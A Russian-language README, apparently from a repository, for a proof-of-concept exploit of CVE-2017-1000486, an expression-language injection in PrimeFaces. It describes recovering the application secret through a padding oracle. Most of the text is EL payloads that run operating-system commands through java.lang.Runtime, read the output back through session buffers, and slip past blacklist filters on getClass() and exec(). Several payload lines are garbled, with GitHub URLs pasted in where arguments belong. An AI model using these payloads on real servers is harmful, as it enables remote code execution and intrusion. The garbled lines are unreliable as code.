
Многошаговый proof-of-concept эксплойт для CVE-2017-1000486 (PrimeFaces EL injection) с извлечением секрета через padding oracle и payload'ами, обходящими черный список, для удаленного выполнения кода.
Это PoC (доказательство концепции) для CVE-2017-1000486, содержащий некоторые полезные нагрузки для обхода лексикографических проверок черных списков на стандартных функциях, используемых для достижения RCE (getClass(), exec() и т.д.), а также для получения секрета PrimeFaces через Padding Oracle, чтобы сделать эксплуатацию как можно менее шумной.
Это PoC представляет собой многошаговый скрипт, полезный для анализа контекста каждого приложения и доступных библиотек веб-серверов.
Изначально используется perl-скрипт padBuster, написанный @AonCyberLabs, для получения секрета PrimeFaces, если он не указан вручную. Это может быть полезно для уменьшения количества запросов к серверу при последующем шифровании полезных нагрузок, ускоряя весь процесс. Время, необходимое для эксплуатации уязвимости Padding Oracle, прямо пропорционально размеру полезных нагрузок; использование его только на первом этапе с довольно маленькой полезной нагрузкой значительно повышает производительность.
Я не хочу переписывать весь код padBuster для прямой интеграции с Python, поэтому для его запуска используется чистое выполнение команды через ОС.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22SECRET%22,initParam%5B%22primefaces.SECRET%22%5D)}
Выполняется простая проверка с помощью EL, которая выполняет инъекцию заголовка, чтобы проверить выполнение EL-кода. Учтите, что в данном случае доступны два метода: setResponseHeader и addResponseHeader; другие доступные методы можно получить из официальной документации.
EL payload:
${facesContext["getExternalContext"]()["setResponseHeader"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22PROVA%22,%22123456%22)}
Затем выполняется серия проверок доступных неявных переменных, чтобы выявить потенциальные проблемы, вызванные пользовательскими библиотеками веб-серверов, которые не предоставляют все неявные переменные, как, например, IBM WebLogic. Кроме того, извлекается версия Java Runtime с попыткой быть максимально конкретной с помощью полезной нагрузки.
На самом деле, я заметил, что в Java <=7 существует путаница типов параметров вызываемых методов. Предполагаю, что это происходит из-за присвоения типов переменных парсером EL. Чтобы избежать этого, скрипт обращается к конкретным методам через массив getDeclaredMethods(), в этом случае требуется идентификация правильного индекса для каждого используемого метода. Это, очевидно, увеличивает размер полезной нагрузки, но обеспечивает большую устойчивость.
Для создания массива байтов в качестве буфера используется обходной путь через "".format("%0999d",0).getBytes(), создающий буфер размером 999, или "0000000".getBytes(), создающий буфер размером 7.
Стандартный EL:
${facesContext.getExternalContext().getSession(true).putValue("stream",""["class"].forName("java.lang.Runtime").getDeclaredMethod("getRuntime").invoke(null)["exec"](https://github.com/pastea/cve-2017-1000486/blob/HEAD/%22command%22).getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","".format("%0999d",0).getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()))}
${facesContext.getExternalContext().getResponseOutputStream().write(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"".format("%0999d",0).length()).flush().close()}
EL с getDeclaredMethods():
${facesContext.getExternalContext().getSession(true).putValue("runtime",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(null))}
${facesContext.getExternalContext().getSession(true).putValue("stream",facesContext.getELContext()["class"].forName("java.lang.Runtime").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getSession(true).getValue("runtime"),"command").getInputStream())}
${facesContext.getExternalContext().getSession(true).putValue("buffer","0000000".getBytes())}
${facesContext.getExternalContext().addResponseHeader("N",facesContext.getExternalContext().getSession(true).getValue("stream").read(facesContext.getExternalContext().getSession(true).getValue("buffer"),"".length(),"0000000".length()))}
${facesContext.getELContext()["class"].forName("org.apache.catalina.connector.CoyoteOutputStream").getDeclaredMethods()[0].invoke(facesContext.getExternalContext().getResponseOutputStream(),facesContext.getExternalContext().getSession(true).getValue("buffer"))}
${facesContext.getExternalContext().getResponseOutputStream().flush().close()}
Методы в JSF могут вызываться через ссылку ["method"](), а не только стандартным для Java способом с точкой .method(). Это может помочь обойти фильтр на сервере между дешифрованием и выполнением EL.
getClass() может быть заменен оператором ["class"]
facesContext.getExternalContext().getSession(true).putValue() может быть заменен на session.setAttribute(), в общем случае любая карта может использоваться как репозиторий для хранения переменных.
ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЯЕТСЯ ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ И ПРЕДНАЗНАЧЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ ИССЛЕДОВАНИЙ.
Вы не можете использовать это программное обеспечение в любых незаконных или неэтичных целях, включая действия, которые могут повлечь уголовную или гражданскую ответственность.
ИСПОЛЬЗУЙТЕ НА СВОЙ СТРАХ И РИСК. ДАННОЕ ПРОГРАММНОЕ ОБЕСПЕЧЕНИЕ ПРЕДОСТАВЛЯЕТСЯ ПРАВООБЛАДАТЕЛЕМ ИЛИ СОАВТОРАМИ «КАК ЕСТЬ», И ЛЮБЫЕ ЯВНЫЕ ИЛИ ПОДРАЗУМЕВАЕМЫЕ ГАРАНТИИ, ВКЛЮЧАЯ, НО НЕ ОГРАНИЧИВАЯСЬ, ПОДРАЗУМЕВАЕМЫМИ ГАРАНТИЯМИ ТОВАРНОЙ ПРИГОДНОСТИ И ПРИГОДНОСТИ ДЛЯ ОПРЕДЕЛЕННОЙ ЦЕЛИ, ОТКЛОНЯЮТСЯ. НИ ПРИ КАКИХ ОБСТОЯТЕЛЬСТВАХ ПРАВООБЛАДАТЕЛЬ ИЛИ СОАВТОРЫ НЕ НЕСУТ ОТВЕТСТВЕННОСТИ ЗА ЛЮБЫЕ ПРЯМЫЕ, КОСВЕННЫЕ, СЛУЧАЙНЫЕ, ОСОБЫЕ, ШТРАФНЫЕ ИЛИ ПОСЛЕДУЮЩИЕ УБЫТКИ.